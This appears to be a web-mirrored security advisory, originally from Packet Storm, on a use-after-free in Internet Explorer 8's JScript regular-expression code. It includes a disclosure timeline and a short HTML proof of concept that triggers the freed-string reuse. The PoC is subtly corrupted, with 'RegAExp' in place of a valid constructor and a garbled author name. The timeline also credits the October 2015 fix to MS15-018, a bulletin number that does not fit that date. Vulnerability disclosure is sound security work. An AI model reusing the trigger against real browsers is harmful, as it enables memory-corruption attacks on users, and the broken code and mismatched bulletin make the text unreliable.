Lucene search
K

Microsoft Internet Explorer 8 Javascript RegExpBase::FBadHeader Use-After-Free

🗓️ 16 Nov 2016 00:00:00Reported by SkyLinedType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 55 Views

MSIE 8 Javascript RegExpBase::FBadHeader Use-After-Free vulnerability details

Related
Code
`Throughout November, I plan to release details on vulnerabilities I  
found in web-browsers which I've not released before. This is the  
twelfth entry in that series. Unfortunately I won't be able to publish  
everything within one month at the current rate, so I may continue to  
publish these through December and January.  
  
The below information is available in more detail on my blog at  
http://blog.skylined.nl/20161116001.html.  
  
Follow me on http://twitter.com/berendjanwever for daily browser bugs.  
  
MSIE 8 jscript RegExpBase::FBadHeader use-after-free  
====================================================  
(MS15-018, CVE-2015-2482)  
  
Synopsis  
--------  
A specially crafted web-page can cause the Javascript engine of  
Microsoft Internet Explorer 8 to free memory used for a string. The code  
will keep a reference to the string and can be forced to reuse it when  
compiling a regular expression.  
  
Known affected software, attack vectors and mitigations  
-------------------------------------------------------  
* Microsoft Internet Explorer 8  
An attacker would need to get a target user to open a specially  
crafted web-page. Disabling Javascript should prevent an attacker  
from triggering the vulnerable code path.  
  
Description  
-----------  
Recompiling the regular expression pattern during a replace can cause  
the code to reuse a freed string, but only if the string is freed from  
the cache by allocating and freeing a number of strings of certain size,  
as explained by Alexander Sotirov in his Heap Feng-Shui presentation.  
  
Exploit  
-------  
Exploitation was not investigated.  
  
Time-line  
---------  
* *March 2015*: This vulnerability was found through fuzzing.  
* *March 2015*: This vulnerability was submitted to ZDI.  
* *April 2015*: This vulnerability was acquired by ZDI.  
* *October 2015*: Microsoft addressed this issue in MS15-018.  
* *November 2016*: Details of this issue are released.  
  
Cheers,  
  
SkyLined  
  
  
Repro.html  
  
<!DOCTYPE html>  
<html>  
<script>  
// This PoAC attempts to exploit a use-after-free bug in Microsoft Internet  
// Explorer 8.  
// See http://blog.skylined.nl/20161116001.html for details.  
var r=new RegAExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g");  
"A".replace(r, function (){  
// Force OLEAUT32 to free the string  
for (var j = 0; j < 16; j++) new Array(0x1000).join("B");  
// Reuse the freed memory  
r.compile();  
});  
// This work by SkyALined is licensed under a Creative Commons  
// Attribution-Non-Commercial 4.0 International License.   
</script>  
</html>  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation